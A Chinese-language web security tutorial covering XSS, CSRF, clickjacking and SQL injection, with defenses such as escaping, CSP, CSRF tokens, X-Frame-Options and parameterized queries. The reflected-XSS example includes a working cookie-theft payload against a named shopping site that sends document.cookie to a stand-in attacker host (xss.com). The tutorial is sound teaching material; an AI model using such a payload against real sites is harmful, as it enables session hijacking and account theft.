Web安全的三個攻防姿式

咱們最多見的Web安全攻擊有如下幾種

• 1.XSS 跨站腳本攻擊

• 2.CSRF 跨站請求僞造

• 3.clickjacking 點擊劫持/UI-覆蓋攻擊

• 4.SQL注入

XSS跨站腳本攻擊（Cross Site Scripting）

惡意攻擊者往Web頁面裏插入惡意Script代碼，當用戶瀏覽該頁之時，嵌入其中Web裏面的Script代碼會被執行，從而達到惡意攻擊用戶的目的。

分類

• 1.Reflected XSS（基於反射的XSS攻擊）

• 2.Stored XSS（基於存儲的XSS攻擊）

• 3.DOM-based or local XSS（基於DOM或本地的XSS攻擊）

Reflected XSS（基於反射的XSS攻擊）

主要經過利用系統反饋行爲漏洞，並欺騙用戶主動觸發，從而發起Web攻擊。在用戶輸入的地方，輸入一些惡意的腳本，一般是textarea，而後經過某種方式當即執行，而後獲取到一些想要獲得的信息，好比cookie等，而後發送到本身的服務器。

栗子一：

1- 假設，在嚴選網站搜索商品，當搜索不到時站點會作「xxx未上架提示」。以下圖。

2- 在搜索框搜索內容，填入「」, 點擊搜索。

3- 當前端頁面沒有對填入的數據進行過濾，直接顯示在頁面上， 這時就會alert那個字符串出來。

4- 進而能夠構造獲取用戶cookies的地址，經過QQ羣或者垃圾郵件，來讓其餘人點擊這個地址：
http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

5- 若是受騙的用戶恰好已經登陸過嚴選網站，那麼，用戶的登陸cookie信息就已經發到了攻擊者的服務器（xss.com）了。固然，攻擊者會作一些更過度的操做。

Stored XSS（基於存儲的XSS攻擊）

Stored XSS和Reflected XSS的差異就在於，具備攻擊性的腳本被保存到了服務器而且能夠被普通用戶完整的從服務的取得並執行，從而得到了在網絡上傳播的能力。

栗子二：

1- 發一篇文章，裏面包含了惡意腳本

你好！當你看到這段文字時，你的信息已經不安全了！<script>alert('xss')</script>

2- 後端沒有對文章進行過濾，直接保存文章內容到數據庫。

3- 當其餘讀者看這篇文章的時候，包含的惡意腳本就會執行。

文章是保存整個HTML內容的，前端顯示時候也不作過濾，就很可能出現這種狀況。此問題多存在於博客網站。若是咱們的操做不只僅是彈出一個信息，並且刪除一篇文章，發一篇反動的文章，或者成爲個人粉絲而且將這篇帶有惡意腳本的文章轉發，這樣是否是就具備了攻擊性。

DOM-based or local XSS（基於DOM或本地的XSS攻擊）

DOM型XSS實際上是一種特殊類型的反射型XSS（也是在用戶輸入的地方輸入一些腳本），它是基於DOM文檔對象模型的一種漏洞。能夠經過DOM來動態修改頁面內容，從客戶端獲取DOM中的數據並在本地執行。

xss攻擊基本是在用戶輸入的地方輸入一些惡意腳本，已達到如下的目的：

• 1.獲取cookie等一些重要的信息
• 2.插入一些js或者css修改和破壞頁面結構
• 3.執行某段js，使頁面跳轉到其餘頁面

解決方案：
①：前端後端在顯示數據和存儲數據的時候，對標籤進行轉義過濾，好比將<script>的兩邊括號就行轉化<&gt等。
②：後端接收請求時，驗證請求是否含有攻擊請求，並對攻擊請求進行截取屏蔽。

其實如今大多成熟的web框架，還有瀏覽器如Chrome，自帶了XSS過濾器（CSP）。CSP 的實質就是白名單制度，開發者明確告訴客戶端，哪些外部資源能夠加載和執行，等同於提供白名單。它的實現和執行所有由瀏覽器完成，開發者只需提供配置。

CSRF 跨站請求僞造（Cross-site request forgery）

它與XSS很是不一樣，XSS利用站點內的信任用戶，而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。攻擊者盜用了用戶的身份，以用戶的名義發送惡意請求。CSRF可以作的事情包括：以你名義發送郵件，發消息，盜取你的帳號，甚至於購買商品，虛擬貨幣轉帳......形成的問題包括：我的隱私泄露以及財產安全。

CSRF的原理

• 1.當用戶訪問一個安全的網站A，A返回給客戶端一個正確的cookie，
• 2.用戶在沒有登出A的網站狀況下，訪問B危險網站，
• 3.B要求訪問第三方站點，經過用戶向安全的網站A發出一個不合理的危害請求，
• 4.因爲請求帶着cookie，A不知道這是危險網站發出的，覺得是用戶正常發出的，致使危害。

防護 CSRF 的幾種策略

1. 驗證 HTTP Referer 字段

利用HTTP頭中的Referer判斷請求來源是否合法。

優勢：簡單易行，只須要在最後給全部安全敏感的請求統一增長一個攔截器來檢查 Referer 的值就能夠。特別是對於當前現有的系統，不須要改變當前系統的任何已有代碼和邏輯，沒有風險，很是便捷。

缺點：
一、Referer 的值是由瀏覽器提供的，不可全信，低版本瀏覽器下Referer存在僞造風險。
二、用戶本身能夠設置瀏覽器使其在發送請求時再也不提供 Referer時，網站將拒絕合法用戶的訪問。

2.在請求中添加 token 並驗證

在請求中放入黑客所不能僞造的信息，而且該信息不存在於 cookie 之中，以HTTP請求參數的形式加入一個隨機產生的 token交由服務端驗證

優勢：比檢查 Referer 要安全一些，而且不涉及用戶隱私。
缺點：對全部請求都添加token比較困難，難以保證 token 自己的安全，依然會被利用獲取到token

3. 人機交互，例如短信驗證碼、界面的滑塊

點擊劫持

點擊劫持，英文名clickjacking，也叫UI覆蓋攻擊，攻擊者會利用一個或多個透明或不透明的層來誘騙用戶實施點擊按鈕的操做，而實際的點擊確是用戶看不到的一個按鈕，從而達到在用戶不知情的狀況下實施攻擊。

這種攻擊方式的關鍵在於能夠實現頁中頁的標籤，而且可使用css樣式表將它隱藏

點擊劫持原理

如以上示意圖的藍色層，攻擊者會經過必定的手段誘惑用戶「在紅色層」輸入信息，但用戶實際上實在藍色層中，以此作欺騙行爲。

這種方法最多見的攻擊場景是僞造一些網站盜取賬號信息，如支付寶、QQ、網易賬號等賬號的帳密

點擊劫持防護

1. X-FRAME-OPTIONS
X-FRAME-OPTIONS是微軟提出的一個http頭，指示瀏覽器不容許從其餘域進行取景，專門用來防護利用iframe嵌套的點擊劫持攻擊。而且在IE八、Firefox3.六、Chrome4以上的版本均能很好的支持。
這個頭有三個值：
DENY // 拒絕任何域加載
SAMEORIGIN // 容許同源域下加載
ALLOW-FROM // 能夠定義容許frame加載的頁面地址

2. 頂層判斷
在UI中採用防護性代碼，以確保當前幀是最頂層的窗口
方法有多種，如：
top != self || top.location != self.location || top.location != location

SQL注入

SQL注入是屬於注入式攻擊，經過將惡意的 Sql 查詢或添加語句插入到應用的輸入參數中，再在後臺 Sql 服務器上解析執行進行的攻擊，是目前對數據庫進行攻擊的最經常使用手段之一。

典型的例子就是當對SQL語句進行字符串拼接的時候，直接使用未轉義的用戶輸入內容做爲變量。這時，只要在sql語句的中間作修改，好比加上drop、delete等關鍵字，執行以後後果不堪設想。

SQL注入的防護：

一、過濾用戶輸入參數中的特殊字符，下降風險。

二、禁止經過字符串拼接sql語句，要嚴格使用參數綁定來傳入參數。

三、合理使用數據庫框架提供的機制。就好比Mybatis提供的傳入參數的方式 #{}，禁止使用${}，後者至關因而字符串拼接sql，要使用參數化的語句。

參考

http://www.javashuo.com/article/p-mkhpuluk-dn.html
http://www.javashuo.com/article/p-cfrdrxkv-kt.html
https://segmentfault.com/a/1190000018998971